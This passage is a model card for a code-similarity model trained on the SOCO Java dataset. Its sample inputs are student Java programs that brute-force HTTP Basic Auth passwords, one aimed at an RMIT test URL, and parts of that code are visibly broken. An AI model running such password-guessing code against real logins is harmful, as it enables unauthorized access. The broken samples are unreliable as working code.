| \t\t\t\tif(symbol>90 && symbol<97){\n\t\t\t\t\ti--;\n\t\t\t\t\tcontinue;\n\t\t\ | |
| \t\t}\n\t\t\t\tlogin=login+symbol;\n\n\t\t\t}\n\n\t\t ta.setText (fetchURL\ | |
| \ (s,login));\n\t\t System.out.println(\"runing\"+login);\n\t\t}while(ta.getText().compareTo(\"\ | |
| Invalid URL\")!=0 || ta.getText().compareTo(\"Error URL\")!=0);\n\n\t\tSystem.out.println(\"\ | |
| The password is: \"+login);\n\t}\n\n\tpublic BruteForce() {\n\t\tsuper (\"SEC-CRACK\"\ | |
| );\n\n\t \n\t add (tf, BorderLayout.LEFT);\n\t ta.setEditable(false);\n\ | |
| \t add (ta, BorderLayout.CENTER);\n\t tf.addActionListener (this);\n\n\t\ | |
| \ addWindowListener (new WindowAdapter() {\n\t public void windowClosing\ | |
| \ (WindowEvent e) {\n\t dispose();\n\t System.exit(0);\n\t \ | |
| \ }\n\t });\n\t}\n\n\tprivate String fetchURL (String urlString,String\ | |
| \ login) {\n\t\tStringWriter sw = new StringWriter();\n\t PrintWriter pw =\ | |
| \ new PrintWriter();\n\n\t try {\n\t URL url = new URL (urlString);\n\ | |
| \n\t \n\t\n\t \n\n\t \n\t String encoding = new url.misc.BASE64Encoder().encode\ | |
| \ (login.getBytes());\n\n\t \n\t URLConnection uc = url.openConnection();\n\ | |
| \t uc.setRequestProperty (\"Authorization\", \" \" + encoding);\n\t \ | |
| \ InputStream content = (InputStream)uc.getInputStream();\n\t BufferedReader\ | |
| \ in =\n\t new BufferedReader (new InputStreamReader (content));\n\t\ | |
| \ String line;\n\t while ((line = in.readLine()) != null) {\n\t \ | |
| \ pw.println (line);\n\t }\n\t } catch (MalformedURLException\ | |
| \ e) {\n\t pw.println (\"Invalid URL\");\n\t } catch (IOException e)\ | |
| \ {\n\t pw.println (\"Error URL\");\n\t }\n\t return sw.toString();\n\ | |
| \t}\n\n\n\tpublic static void main(String args[]) {\n\t\tFrame f = new BruteForce();\n\ | |
| \t f.setSize(300, 300);\n\t f.setVisible (true);\n\t}\n}\n\n\n\n\nclass\ | |
| \ Base64Converter\n{\n\tpublic static final char [ ] alphabet = {\n 'A',\ | |
| \ 'B', 'C', 'D', 'E', 'F', 'G', 'H', \n 'I', 'J', 'K', 'L', 'M', 'N',\ | |
| \ 'O', 'P', \n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', \n 'Y',\ | |
| \ 'Z', 'a', 'b', 'c', 'd', 'e', 'f', \n 'g', 'h', 'i', 'j', 'k', 'l',\ | |
| \ 'm', 'n', \n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', \n 'w',\ | |
| \ 'x', 'y', 'z', '0', '1', '2', '3', \n '4', '5', '6', '7', '8', '9',\ | |
| \ '+', '/' }; \n\n\n public static String encode ( String s )\n {\n\ | |
| \ return encode ( s.getBytes ( ) );\n }\n\n public static String\ | |
| \ encode ( byte [ ] octetString )\n {\n int bits24;\n int\ | |
| \ bits6;\n\n char [ ] out\n = new char [ ( ( octetString.length\ | |
| \ - 1 ) / 3 + 1 ) * 4 ];\n\n int outIndex = 0;\n int i = 0;\n\ | |
| \n while ( ( i + 3 ) <= octetString.length )\n {\n \n \ | |
| \ bits24 = ( octetString [ i++ ] & 0xFF ) << 16;\n bits24 |= (\ | |
| \ octetString [ i++ ] & 0xFF ) << 8;\n bits24 |= ( octetString [ i++\ | |
| \ ] & 0xFF ) << 0;\n\n bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n \ | |
| \ out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000\ | |
| \ ) >> 12;\n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6\ | |
| \ = ( bits24 & 0x00000FC0 ) >> 6;\n out [ outIndex++ ] = alphabet [ bits6\ | |
| \ ];\n bits6 = ( bits24 & 0x0000003F );\n out [ outIndex++ ]\ | |
| \ = alphabet [ bits6 ];\n }\n\n if ( octetString.length - i == 2 )\n\ | |
| \ {\n \n bits24 = ( octetString [ i ] & 0xFF ) <<\ | |
| \ 16;\n bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8;\n\n \ | |
| \ bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n out [ outIndex++ ] = alphabet\ | |
| \ [ bits6 ];\n bits6 = ( bits24 & 0x0003F000 ) >> 12;\n out\ | |
| \ [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x00000FC0\ | |
| \ ) >> 6;\n out [ outIndex++ ] = alphabet [ bits6 ];\n\n \n \ | |
| \ out [ outIndex++ ] = '=';\n }\n else if ( octetString.length\ | |
| \ - i == 1 )\n {\n \n bits24 = ( octetString [ i ] &\ | |
| \ 0xFF ) << 16;\n\n bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n \ | |
| \ out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000\ | |
| \ ) >> 12;\n out [ outIndex++ ] = alphabet [ bits6 ];\n\n \n\ | |
| \ out [ outIndex++ ] = '=';\n out [ outIndex++ ] = '=';\n \ | |
| \ }\n\n return new String ( out );\n }\n}\n\n" | |
| sentences: | |
| - "\n\nimport java.io.*;\nimport java.text.*;\nimport java.util.*;\nimport java.net.*;\n\ | |
| \npublic class BruteForce extends Thread\n{\n private static final String USERNAME\ | |
| \ = \"\";\n private static final char [] POSSIBLE_CHAR =\n {'a', 'b',\ | |
| \ 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',\n 'n', 'o', 'p',\ | |
| \ 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',\n 'A', 'B', 'C', 'D',\ | |
| \ 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',\n 'N', 'O', 'P', 'Q', 'R',\ | |
| \ 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};\n private static int NUMBER_OF_THREAD\ | |
| \ = 500;\n\n private static Date startDate = null;\n private static Date endDate\ | |
| \ = null;\n\n private String address;\n private String password;\n\n public\ | |
| \ BruteForce(String address, String password)\n {\n this.address = address;\n\ | |
| \ this.password = password;\n }\n\n public static void main(String[]\ | |
| \ args) throws IOException\n {\n if (args.length < 1)\n {\n \ | |
| \ System.err.println(\"Invalid usage!\");\n System.err.println(\"Usage:\ | |
| \ java BruteForce <url>\");\n System.exit(1);\n }\n\n try\n\ | |
| \ {\n brute(args[0], USERNAME);\n }\n catch(Exception e)\n\ | |
| \ {\n e.printStackTrace();\n System.exit(1);\n }\n \ | |
| \ }\n\n public static void brute(String address, String user)\n {\n \ | |
| \ BruteForce [] threads = new BruteForce[NUMBER_OF_THREAD];\n int index =\ | |
| \ 0;\n\n startDate = new Date();\n for(int i = 0; i < POSSIBLE_CHAR.length;\ | |
| \ i++)\n {\n for(int j = 0; j < POSSIBLE_CHAR.length; j++)\n \ | |
| \ {\n for(int k = 0; k < POSSIBLE_CHAR.length; k++)\n \ | |
| \ {\n String password = \"\"+POSSIBLE_CHAR[i]+POSSIBLE_CHAR[j]+\n\ | |
| \ POSSIBLE_CHAR[k];\n\n if (threads[index]\ | |
| \ != null && threads[index].isAlive())\n {\n try\n\ | |
| \ {\n threads[index].join();\n \ | |
| \ }\n catch(InterruptedException e ) {}\n \ | |
| \ }\n threads[index] = new BruteForce(address, password);\n \ | |
| \ threads[index].get();\n\n index = (index++) % threads.length;\n\ | |
| \ }\n }\n }\n }\n\n public void run()\n {\n \ | |
| \ if (endDate != null)\n return;\n\n try\n {\n\n URLConnection\ | |
| \ conn = (new URL(address)).openConnection();\n conn.setDoInput(true);\n\ | |
| \n if (login(conn, USERNAME, password))\n {\n endDate\ | |
| \ = new Date();\n System.out.println(\"Found the password: \\\"\"+password+\"\ | |
| \\\"!\");\n SimpleDateFormat format = new SimpleDateFormat(\"dd/MM/yyyy\ | |
| \ HH:mm:\");\n System.out.println(\"Process started at: \"+format.format(startDate));\n\ | |
| \ System.out.println(\"Process started at: \"+format.format(endDate));\n\ | |
| \ double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000;\n\ | |
| \ System.out.println(\"Time taken: \"+timeTaken+\" minutes\");\n \ | |
| \ System.exit(0);\n }\n else\n {\n \ | |
| \ System.out.println(\"Password: \\\"\"+password+\"\\\" Failed!\");\n \ | |
| \ return;\n }\n }\n catch(Exception e)\n {\n \ | |
| \ e.printStackTrace();\n }\n\n }\n\n public static boolean login(URLConnection\ | |
| \ conn, String user, String pass)\n {\n try\n {\n String encodeAuth\ | |
| \ = \" \"+Base64Encoder.encode(user+\":\"+pass);\n conn.setRequestProperty\ | |
| \ (\"Authorization\", encodeAuth);\n conn.connect();\n conn.getInputStream();\n\ | |
| \ }\n catch(Exception e)\n {\n return false;\n }\n\ | |
| \ return true;\n }\n}\n\n\n" | |
| - "\n\nimport java.net.*;\nimport java.io.*;\n\npublic class Base64Encoder\n{\n\ | |
| \ private final static char base64Array [] = {\n 'A', 'B', 'C', 'D',\ | |
| \ 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n \ | |
| \ 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b',\ | |
| \ 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n \ | |
| \ 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z',\ | |
| \ '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n \ | |
| \ };\n\n public static String encode (String string)\n {\n String encodedString\ | |
| \ = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n \ | |
| \ int pad = 0;\n while (i < bytes.length)\n {\n byte b1 = bytes\ | |
| \ [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length)\n\ | |
| \ {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\ | |
| \ }\n else\n {\n b2 = bytes [i++];\n \ | |
| \ if (i >= bytes.length)\n {\n b3 = 0;\n \ | |
| \ pad = 1;\n }\n else\n b3 = bytes\ | |
| \ [i++];\n }\n\n byte c1 = (byte)(b1 >> 2);\n byte c2\ | |
| \ = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf)\ | |
| \ << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\ | |
| \ += base64Array [c1];\n encodedString += base64Array [c2];\n \ | |
| \ switch (pad)\n {\n case 0:\n encodedString\ | |
| \ += base64Array [c3];\n encodedString += base64Array [c4];\n \ | |
| \ break;\n case 1:\n encodedString += base64Array\ | |
| \ [c3];\n encodedString += \"=\";\n break;\n \ | |
| \ case 2:\n encodedString += \"==\";\n break;\n\ | |
| \ }\n }\n return encodedString;\n }\n}\n" | |
| - "import java.net.*;\nimport java.io.*;\n\n public class Bruteforce {\n int attempts\ | |
| \ = 0;\n int l = 65;int m = 65;int n = 65;\n URLConnection conn = null;\n\n\ | |
| \ public static void main(String args[]){\n \n\tBruteforce a = new Bruteforce();\n\ | |
| \ a.attack(args);\n }\n\n public void attack(String args[]) {\n \ | |
| \ try {\n\n String login = new String(\"\");\n String url = new String(\"\ | |
| http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n String passwd = new\ | |
| \ String();\n\n\t passwd = getPasswd();\n BufferedReader in = new BufferedReader(\ | |
| \ new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n\ | |
| \ String line;\n while ((line = in.readLine()) != null) {\n \ | |
| \ System.out.println(line);\n }\n System.out.println(\"\ | |
| Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\ | |
| \ is :\" + passwd + \"and got after \" + attempts + \" tries\");\n }\n \ | |
| \ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\ | |
| \ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \ | |
| \ System.out.println(\"Trying again with new password\");\n Bruteforce a =\ | |
| \ new Bruteforce();\n a.attack(args);\n }\n else\n {\n\tSystem.out.println(\"\ | |
| Trying again with new password\");\n\tBruteforce a = new Bruteforce();\n\ta.attack(args);\n\ | |
| \ }\n }\n }\n public String getPasswd()\n {\n attempts++;\n\n \ | |
| \ char i1 = 0;\n char j1 = 0;\n char k1 = 0;\n \n int i= l; \ | |
| \ int j= m; int k= n;\n\n String c = new String();\n String c1 = new\ | |
| \ String();\n String c2 = new String();\n String c3 = new String();\n \ | |
| \ String c4 = new String();\n boolean flag;\n\n for (i=l;i<123;i++)\n \ | |
| \ for (j=m;j<123;j++)\n for (k=n;k<123;k++)\n {\n if( flag = true\ | |
| \ )\n {\n\n i1 = (char)i;\n j1 = (char)j;\n k1 = (char)k;\n\n\ | |
| \ if (i==91) i=97;\n if (j==91) j=97;\n if (k==91) k=97;\n\n c = i1+\"\ | |
| \";\n c1 = j1+\"\";\n c2 = k1+\"\";\n c3 = c.concat(c1);\n c4 = c3.concat(c2);\n\ | |
| \ }else break;\n }\n flag = false;\n return c4;\n }\n\n public InputStream\ | |
| \ openURLForInput (URL url, String uname, String pword)\n throws IOException \ | |
| \ {\n conn = url.openConnection();\n conn.setDoInput (true);\n conn.setRequestProperty\ | |
| \ (\"Authorization\", PasswordBase64(uname,pword));\n conn.connect ();\n \ | |
| \ return conn.getInputStream();\n }\n\n\n public String PasswordBase64(String\ | |
| \ username, String password) {\n return \" \" + base64Encode (username + \"\ | |
| :\" + password);\n }\n\n private final static char base64Array [] = {\n \ | |
| \ 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M',\ | |
| \ 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y',\ | |
| \ 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm',\ | |
| \ 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y',\ | |
| \ 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\ | |
| \n private static String base64Encode (String string) {\n String encodedString\ | |
| \ = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int\ | |
| \ pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n \ | |
| \ byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2\ | |
| \ = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n \ | |
| \ b2 = bytes [i++];\n if (i >= bytes.length) {\n b3\ | |
| \ = 0;\n pad = 1;\n }\n else\n b3\ | |
| \ = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte\ | |
| \ c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 &\ | |
| \ 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\ | |
| \ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\ | |
| \ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \ | |
| \ encodedString += base64Array [c4];\n break;\n case 1:\n\ | |
| \ encodedString += base64Array [c3];\n encodedString += \"=\"\ | |
| ;\n break;\n case 2:\n encodedString += \"==\";\n \ | |
| \ break;\n }\n }\n return encodedString;\n }\n }\n" | |
| datasets: | |
| - buelfhood/SOCO_TRAIN_java | |
| pipeline_tag: sentence-similarity | |
| library_name: sentence-transformers | |
| # SentenceTransformer based on microsoft/unixcoder-base-unimodal | |
| This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [microsoft/unixcoder-base-unimodal](https://huggingface.co/microsoft/unixcoder-base-unimodal) on the [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more. | |
| ## Model Details | |
| ### Model Description | |
| - **Model Type:** Sentence Transformer | |
| - **Base model:** [microsoft/unixcoder-base-unimodal](https://huggingface.co/microsoft/unixcoder-base-unimodal) <!-- at revision c6b7b85380bf4e01309a3cf5e4f686433764d923 --> | |
| - **Maximum Sequence Length:** 512 tokens | |
| - **Output Dimensionality:** 768 dimensions | |
| - **Similarity Function:** Cosine Similarity | |
| - **Training Dataset:** | |
| - [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) | |
| <!-- - **Language:** Unknown --> | |
| <!-- - **License:** Unknown --> | |
| ### Model Sources | |
| - **Documentation:** [Sentence Transformers Documentation](https://sbert.net) | |
| - **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers) | |
| - **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers) | |
| ### Full Model Architecture | |
| ``` | |
| SentenceTransformer( | |
| (0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel | |
| (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True}) | |
| ) | |
| ``` | |
| ## Usage | |
| ### Direct Usage (Sentence Transformers) | |
| First install the Sentence Transformers library: | |
| ```bash | |
| pip install -U sentence-transformers | |
| ``` | |
| Then you can load this model and run inference. | |
| ```python | |
| from sentence_transformers import SentenceTransformer | |
| # Download from the 🤗 Hub | |
| model = SentenceTransformer("buelfhood/SOCO-Java-UnixCoder-Softmax-PairClass-VAST-NoEval") | |
| # Run inference | |
| sentences = [ | |
| '\n\nimport java.awt.*;\nimport java.awt.event.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class BruteForce extends Frame implements ActionListener {\n\tprivate TextField tf = new TextField();\n private TextArea ta = new TextArea();\n\n \tpublic void actionPerformed (ActionEvent e) {\n\t\tString s = tf.getText();\n\t\tString login="";\n\n\t\tif (s.length() != 0)\n\t\t{\n\t\t\tchar symbol = \'A\';\n\n\t\t\tlogin=":";\n\t\t\t\n\t\t\tfor(int i = 0; i < 3; i++)\n\t\t\t{\n\t\t\t\tsymbol = (char)(57.0 * Math.random() + 65);\n\n\t\t\t\tif(symbol>90 && symbol<97){\n\t\t\t\t\ti--;\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tlogin=login+symbol;\n\n\t\t\t}\n\n\t\t ta.setText (fetchURL (s,login));\n\t\t System.out.println("runing"+login);\n\t\t}while(ta.getText().compareTo("Invalid URL")!=0 || ta.getText().compareTo("Error URL")!=0);\n\n\t\tSystem.out.println("The password is: "+login);\n\t}\n\n\tpublic BruteForce() {\n\t\tsuper ("SEC-CRACK");\n\n\t \n\t add (tf, BorderLayout.LEFT);\n\t ta.setEditable(false);\n\t add (ta, BorderLayout.CENTER);\n\t tf.addActionListener (this);\n\n\t addWindowListener (new WindowAdapter() {\n\t public void windowClosing (WindowEvent e) {\n\t dispose();\n\t System.exit(0);\n\t }\n\t });\n\t}\n\n\tprivate String fetchURL (String urlString,String login) {\n\t\tStringWriter sw = new StringWriter();\n\t PrintWriter pw = new PrintWriter();\n\n\t try {\n\t URL url = new URL (urlString);\n\n\t \n\t\n\t \n\n\t \n\t String encoding = new url.misc.BASE64Encoder().encode (login.getBytes());\n\n\t \n\t URLConnection uc = url.openConnection();\n\t uc.setRequestProperty ("Authorization", " " + encoding);\n\t InputStream content = (InputStream)uc.getInputStream();\n\t BufferedReader in =\n\t new BufferedReader (new InputStreamReader (content));\n\t String line;\n\t while ((line = in.readLine()) != null) {\n\t pw.println (line);\n\t }\n\t } catch (MalformedURLException e) {\n\t pw.println ("Invalid URL");\n\t } catch (IOException e) {\n\t pw.println ("Error URL");\n\t }\n\t return sw.toString();\n\t}\n\n\n\tpublic static void main(String args[]) {\n\t\tFrame f = new BruteForce();\n\t f.setSize(300, 300);\n\t f.setVisible (true);\n\t}\n}\n\n\n\n\nclass Base64Converter\n{\n\tpublic static final char [ ] alphabet = {\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\', \n \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\', \n \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\', \n \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\', \n \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\', \n \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\', \n \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\', \n \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\' }; \n\n\n public static String encode ( String s )\n {\n return encode ( s.getBytes ( ) );\n }\n\n public static String encode ( byte [ ] octetString )\n {\n int bits24;\n int bits6;\n\n char [ ] out\n = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];\n\n int outIndex = 0;\n int i = 0;\n\n while ( ( i + 3 ) <= octetString.length )\n {\n \n bits24 = ( octetString [ i++ ] & 0xFF ) << 16;\n bits24 |= ( octetString [ i++ ] & 0xFF ) << 8;\n bits24 |= ( octetString [ i++ ] & 0xFF ) << 0;\n\n bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000 ) >> 12;\n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0000003F );\n out [ outIndex++ ] = alphabet [ bits6 ];\n }\n\n if ( octetString.length - i == 2 )\n {\n \n bits24 = ( octetString [ i ] & 0xFF ) << 16;\n bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8;\n\n bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000 ) >> 12;\n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n out [ outIndex++ ] = alphabet [ bits6 ];\n\n \n out [ outIndex++ ] = \'=\';\n }\n else if ( octetString.length - i == 1 )\n {\n \n bits24 = ( octetString [ i ] & 0xFF ) << 16;\n\n bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000 ) >> 12;\n out [ outIndex++ ] = alphabet [ bits6 ];\n\n \n out [ outIndex++ ] = \'=\';\n out [ outIndex++ ] = \'=\';\n }\n\n return new String ( out );\n }\n}\n\n', | |
| '\n\nimport java.io.*;\nimport java.text.*;\nimport java.util.*;\nimport java.net.*;\n\npublic class BruteForce extends Thread\n{\n private static final String USERNAME = "";\n private static final char [] POSSIBLE_CHAR =\n {\'a\', \'b\', \'c\', \'d\', \'e\', \'f\', \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\',\n \'n\', \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\', \'w\', \'x\', \'y\', \'z\',\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\', \'I\', \'J\', \'K\', \'L\', \'M\',\n \'N\', \'O\', \'P\', \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\', \'Y\', \'Z\'};\n private static int NUMBER_OF_THREAD = 500;\n\n private static Date startDate = null;\n private static Date endDate = null;\n\n private String address;\n private String password;\n\n public BruteForce(String address, String password)\n {\n this.address = address;\n this.password = password;\n }\n\n public static void main(String[] args) throws IOException\n {\n if (args.length < 1)\n {\n System.err.println("Invalid usage!");\n System.err.println("Usage: java BruteForce <url>");\n System.exit(1);\n }\n\n try\n {\n brute(args[0], USERNAME);\n }\n catch(Exception e)\n {\n e.printStackTrace();\n System.exit(1);\n }\n }\n\n public static void brute(String address, String user)\n {\n BruteForce [] threads = new BruteForce[NUMBER_OF_THREAD];\n int index = 0;\n\n startDate = new Date();\n for(int i = 0; i < POSSIBLE_CHAR.length; i++)\n {\n for(int j = 0; j < POSSIBLE_CHAR.length; j++)\n {\n for(int k = 0; k < POSSIBLE_CHAR.length; k++)\n {\n String password = ""+POSSIBLE_CHAR[i]+POSSIBLE_CHAR[j]+\n POSSIBLE_CHAR[k];\n\n if (threads[index] != null && threads[index].isAlive())\n {\n try\n {\n threads[index].join();\n }\n catch(InterruptedException e ) {}\n }\n threads[index] = new BruteForce(address, password);\n threads[index].get();\n\n index = (index++) % threads.length;\n }\n }\n }\n }\n\n public void run()\n {\n if (endDate != null)\n return;\n\n try\n {\n\n URLConnection conn = (new URL(address)).openConnection();\n conn.setDoInput(true);\n\n if (login(conn, USERNAME, password))\n {\n endDate = new Date();\n System.out.println("Found the password: \\""+password+"\\"!");\n SimpleDateFormat format = new SimpleDateFormat("dd/MM/yyyy HH:mm:");\n System.out.println("Process started at: "+format.format(startDate));\n System.out.println("Process started at: "+format.format(endDate));\n double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000;\n System.out.println("Time taken: "+timeTaken+" minutes");\n System.exit(0);\n }\n else\n {\n System.out.println("Password: \\""+password+"\\" Failed!");\n return;\n }\n }\n catch(Exception e)\n {\n e.printStackTrace();\n }\n\n }\n\n public static boolean login(URLConnection conn, String user, String pass)\n {\n try\n {\n String encodeAuth = " "+Base64Encoder.encode(user+":"+pass);\n conn.setRequestProperty ("Authorization", encodeAuth);\n conn.connect();\n conn.getInputStream();\n }\n catch(Exception e)\n {\n return false;\n }\n return true;\n }\n}\n\n\n', | |
| '\n\nimport java.net.*;\nimport java.io.*;\n\npublic class Base64Encoder\n{\n private final static char base64Array [] = {\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n };\n\n public static String encode (String string)\n {\n String encodedString = "";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length)\n {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length)\n {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else\n {\n b2 = bytes [i++];\n if (i >= bytes.length)\n {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad)\n {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += "=";\n break;\n case 2:\n encodedString += "==";\n break;\n }\n }\n return encodedString;\n }\n}\n', | |
| ] | |
| embeddings = model.encode(sentences) | |
| print(embeddings.shape) | |
| # [3, 768] | |
| # Get the similarity scores for the embeddings | |
| similarities = model.similarity(embeddings, embeddings) | |
| print(similarities.shape) | |
| # [3, 3] | |
| ``` | |
| <!-- | |
| ### Direct Usage (Transformers) | |
| <details><summary>Click to see the direct usage in Transformers</summary> | |
| </details> | |
| --> | |
| <!-- | |
| ### Downstream Usage (Sentence Transformers) | |
| You can finetune this model on your own dataset. | |
| <details><summary>Click to expand</summary> | |
| </details> | |
| --> | |
| <!-- | |
| ### Out-of-Scope Use | |
| *List how the model may foreseeably be misused and address what users ought not to do with the model.* | |
| --> | |
| <!-- | |
| ## Bias, Risks and Limitations | |
| *What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model.* | |
| --> | |
| <!-- | |
| ### Recommendations | |
| *What are recommendations with respect to the foreseeable issues? For example, filtering explicit content.* | |
| --> | |
| ## Training Details | |
| ### Training Dataset | |
| #### soco_train_java | |
| * Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476) | |
| * Size: 33,411 training samples | |
| * Columns: <code>label</code>, <code>text_1</code>, and <code>text_2</code> | |
| * Approximate statistics based on the first 1000 samples: | |
| | | label | text_1 | text_2 | | |
| |:--------|:-----------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------| | |
| | type | int | string | string | | |
| | details | <ul><li>0: ~99.80%</li><li>1: ~0.20%</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 457.49 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 512 tokens</li><li>mean: 512.0 tokens</li><li>max: 512 tokens</li></ul> | | |
| * Samples: | |
| | label | text_1 | text_2 | | |
